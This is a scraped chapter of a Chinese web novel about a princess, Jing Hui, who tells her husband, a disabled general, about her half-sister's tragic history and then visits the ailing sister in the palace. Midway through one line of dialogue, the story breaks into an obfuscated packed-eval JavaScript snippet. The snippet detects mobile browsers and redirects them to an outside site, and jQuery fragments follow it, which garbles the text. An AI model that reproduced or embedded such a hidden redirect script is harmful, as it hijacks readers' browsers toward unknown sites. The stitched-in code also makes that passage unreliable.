15. 欺负。

作品:《被迫嫁给残疾将军后

    景回口中的阿姐是五公主景宁。


    景宁的身世之坎坷,怕是民间的话本子都不敢那般写。


    她的生母是太后宫中一胆大包天的小宫女,在某次阖宮夜宴之时,趁着景文帝醉倒,从太极殿一路跟着景文帝的车架到了养心殿。


    趁机混进去之后,她不仅假传圣旨,将当晚侍寝的娘娘赶走,还亲自顶替了去,伺候了景文帝一整夜。


    景文帝醒来之后,全然不记得她是如何出现在床上的,给了个名分了事。


    哪知事情过去不过三月,当日被赶走的娘娘知晓真相,一路闹到了景文帝和皇后面前。


    景文帝被一宫女玩弄于股掌之中,对此大发雷霆,下旨将此人五马分尸扔去乱葬岗。


    熟料这圣旨刚下,那宫女便干呕不止,有经验之人一见,便说这是怀了龙种的征兆。


    众人面面相觑,叫来太医一把脉,果真是怀了。


    她命好,侍寝第一夜便怀上了孩子。


    景文帝还是怒不可遏,坚决处死,纵是当时景文帝膝下子女并不多,也无人赶出来顶着他的怒火劝谏什么。


    这时皇后站了出来。


    此时她亦是刚怀上景回,说稚子无辜,请皇帝放过这宫女腹中孩儿,就当给景回积德。


    景文帝犹豫不决,见皇后态度强硬,便应下了。


    不过只是答应去母留子,待这宫女生下孩子后,还是被五马分尸处死了。


    景宁出生以后,因着是公主的缘故,本来想抱养她的妃嫔纷纷散去,最终还是皇后命人将其抱到中宫,命人养着,待景回落地留她做玩伴。


    这些年过去,二人一同在中宫长大,所受教养几乎相同,却是逐渐长成了不同的性子。


    景回身份尊贵,聪明伶俐,虽骄纵玩闹却深得帝心,早年便深入朝堂,受帝师教导,小小年纪便有了天家模样,众多皇子都比之不过。


    而景宁却是个野了心的,她幼时便跟在中宫侍卫身后学武功,大字不识一个,长大后,开始学着她娘的做派,使些小心思偷偷出宫找民间的武师傅学武。


    景文帝知晓,却并不管教,他本就不喜景宁,后来还是皇后不忍景宁继续荒废,劝景文帝给景宁找个正经的武师傅。


    景宁有了武师傅之后,武艺越发高强,恰逢景回长成,景文帝有心放景回出宫历练,多次交给她宫外之事,这时景宁的武艺便派上了用场。


    景宁心中记挂皇后和景回的大恩,她跟在景回身边,多次与她一同出入危险之地,自己或轻或重都有伤处,却从来未让景回受过什么伤。


    然而天有不测,去岁有一次景回抓贪官,有一重要证据落在火场之中,景宁将景回救出之后,又返回火场拿证据。


    景回劝她莫去,景宁不听,在火场之中,胸前中了暗中射来的毒箭。


    慌乱之中,跟在二人身边的侍卫都死光了,景回扶着景宁逃命,二人险些都丧了命。


    回宫之后,景文帝大怒,在景回哀求下派了太医过去之后,好不容易救回景宁的命,但她伤了根子,多次有出气没进气,自此便开始缠绵病榻。


    景文帝以此为由,将景宁软禁在宫殿之中。


    景回视景宁为至亲,时常离不开景宁,景文帝虽允许景回去看,但次数绝不能多。


    近来因着婚嫁景回要离宫,看景宁的次数太过多,景文帝十分不满,但他不满也不会朝着景回发,这便在养心殿骂了景宁一句。


    “令姐身世真是坎坷。”


    宫道上,大片浮云行过头顶,景回心血来潮推着陆颂渊的轮椅,跟他讲景宁的故事。


    讲完之后,陆颂渊忽然叹了句。


    “我阿姐是这世上除了父皇母后待我最好的人,她受伤也是保护为了我。”


    景回衣袖被风吹起,每每往景宁宫中去时,她都心情复杂,“若非父皇不让,我必是要亲自将阿姐带在身边照顾的。”


    宫中看似皆是受过极致教导的皇家人,然而有的人却金玉其表,背后阴招不断。


    同理,景回虽看上去花团锦簇,周围宠爱不断,事实上有些事她并无人可说。


    今日有感而发跟陆颂渊说了后,她本也不想让他回什么的,却不料陆颂渊说道:“将军府地方大的很。”


    “嗯?”


    耳边有风声过,景回愣了下,低头问道:“你说什么?”


    陆颂渊端坐轮椅,眼神直直看着前方。


    他手搭在轮椅扶手上捻了捻手指,不答反问:“还有多久到?”


    景回早就听见了,她哼笑道:“我还没嫌累,你倒催上了。”


    说完后,景回推着陆颂渊的轮椅跑了起来,阿鱼连忙跟上。


    他们身后跟着的陆青越看了二人背影笑,那笑中多有不怀好意,他刚想说什么,陆昼雪便面露嫌弃,“跟上。”


    陆青越:“……”


    一路推到景宁所在的莲玉殿,景回额头起了层薄汗,她接过阿鱼递来的帕子,看了陆颂渊一眼。


    因着景文帝的缘故,景宁向来厌恶男子,知晓她将要成婚时,也是愤怒不已。


    她应当是不想见陆颂渊的。


    “殿下进去吧,晚点我来接你回家。”


    景回看他一眼,问:“你去何处?”


    “陛下既许了我禁军统领之职,左右无事,我去禁卫所在之处看看。”


    景回点点头,“好。”


    “昼雪跟着殿下吧。”陆颂渊淡淡说道:“有事殿下尽管吩咐她。”


    陆昼雪也跟景宁一样会武,想起那日在府中二人所说你的人我的人之类的话,景回笑了下。


    “行,多谢你了。”


    -


    莲玉殿内秋日里便熏了火笼,一踏进去烘的似是夏日般燥热,殿中的花儿蔫蔫的。


    走进寝殿门前,景回扶了下门口歪倒的花,让阿鱼和陆昼雪留在门外,跨近殿中大喊:“阿姐!”


    景宁的伤曾蔓延到耳朵,最早时什么都听不清了,现下逐渐恢复,倒是能听见了,只是多需要人大声说话,才算听得清楚。


    景宁病后不喜殿中人多,是以偌大一个莲玉殿,只留下了两个会武功的婢女。


    二人上前请安道:“奴婢叩见公主殿下,殿下万安。”


    “起来吧。”


    景回站在殿中,看向被重重帷帐遮挡的床,问道:“我阿姐还没醒?”


    婢女们也回身看了眼床的位置,摇摇头道:“是,昨日公主睡得晚了些,今晨早早又有人来寻,公主耗费了不少精力应付他们,这厢刚睡下。”


    景回皱皱眉,刚想问是谁,床上便传来轻唤声。


    “阿珠。”


    景宁的嗓音常年嘶哑,尖锐中偶有失声,“是你吗?”


    “是我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434262|184949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    景回快步走进殿内,婢女们上前掀开帷帐。


    景回坐在床上,看着景宁干裂的白唇,她伸手拿过一旁的杯子,递在景宁唇边。


    “阿姐,喝点水。”


    “好。”


    景宁在容貌上继承了他母亲和景文帝的优点,也是绝美之人。


    从前她多是男子装扮,如今病中不戴任何饰物,长发披散,只穿一白寝衣,任谁看了都觉得我见犹怜。


    景宁缓缓撑起上半身,咳嗽了两声,用力吞咽着喝了两口水,随后便重重倒在枕头上,看着景回。


    自从伤重之后,景宁的眼神总是空洞的,她牵着景回的手问道:“阿珠,近来可好?”


    “好。”


    景回笑笑,边按摩着她的手,边跟她说起话。


    她并未跟景宁说前些日子受伤的事,絮絮叨叨跟她说了在将军府中的趣事,以及街市上传来的笑话。


    景宁一直静静听着,偶尔应和她两句。


    待景回说得口干了,喝水之时,景宁又问道:“成婚之后,他待你可好?”


    关于景回的夫婿,景宁连名字都不知道。


    景回愣了下,想起方才来时,陆颂渊说的那句话,笑了下。


    “还算好。”


    景回趴在景宁肩膀处,翘了下上唇说道:“我可是公主,无人敢欺负我的。”


    景宁低笑。


    “是,人人都喜欢我们阿珠。”


    话毕,屋中安静一会儿。


    片刻后,景回想起婢女方才所说,直起身问道:“阿姐,今晨谁来找过你?”


    景回问完后,敏锐的发现景宁神色有一瞬间的不对劲。


    果不其然,景宁说:“没谁……”


    她这般反应,景回怒火蹭一下便冒到了头,“是景傲,对不对?”


    景宁沉默半晌,轻点了下头。


    “他又来干什么!”


    景回大声道:“阿姐,他跟你说了什么!”


    景宁看了景回一会儿,才问道:“前些日子你受伤了,为何不告诉我?”


    景回一愣,边在心底骂景回,边熄了火坐在床边,牵着景宁的手说道:“那日有陆颂渊护着我,我并未受很重的伤,阿姐,你看我现下不是无事吗。”


    景宁不言,只看着景回。


    “还记得出宫前我与你说过什么吗?”


    景回用景宁的手蹭了蹭脸颊,说道:“那些皇子都不可信,除了我的话,你谁的都不要听。阿姐,景傲是什么人,我们都知道。我最不愿看见的是你愧疚于我。”


    景傲有病也不是一日两日了,从他看不惯景回开始,便总要去惹一惹景回身边在乎的人。


    不过都是些逞口舌之快,纯纯作弄瞎胡闹的小打小闹,他还不敢堂而皇之的害别人的性命。


    这么做真就是癞蛤蟆爬脚面,不咬人,纯恶心人。


    “记得。”


    景宁眨了眨干涩的眼睛,说道:“阿珠,只是下次不要瞒着我,你受伤我会心疼,从别人口中知晓此事,我更难过。”


    “好。”景回说道。


    这厢二人刚说完话,门外传来了陆昼雪的声音。


    “禀殿下,将军已经从禁卫所回来了,现下正在门外。”


    “知道了。”


    景回转头问景宁,“阿姐,要见见他吗?”